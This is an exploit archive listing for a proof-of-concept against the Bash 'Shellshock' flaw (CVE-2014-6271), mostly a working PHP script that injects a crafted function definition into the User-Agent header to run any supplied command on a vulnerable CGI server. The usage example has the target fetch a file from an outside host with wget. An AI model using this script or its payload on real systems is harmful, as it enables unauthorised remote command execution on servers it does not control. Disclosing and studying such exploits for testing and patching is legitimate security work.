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Bash Code Injection Proof Of Concept

Bash Code Injection Proof Of Concept
Posted Sep 25, 2014
Authored by Prakhar Prasad, Subho Halder

Bash specially-crafted environment variable code injection proof of concept exploit that inserts the malicious payload into a User-Agent header and looks for a 500 response on a web server.

tags | exploit, web, proof of concept, bash
advisories | CVE-2014-6271
MD5 | 82ca5aa1466bd854cb0ff8cc6aedfc92

Bash Code Injection Proof Of Concept

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<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

Test CGI Code : #!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Bash-is-Vulnerable"

*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");

}
$url = $x['u'];
$cmd = $x['c'];

$context = stream_context_create(
array(
'http' => array(
'method' => 'GET',
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
)
)
);

if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
die("Command sent to the server!\n");
else
die("Connection Error\n");
?>
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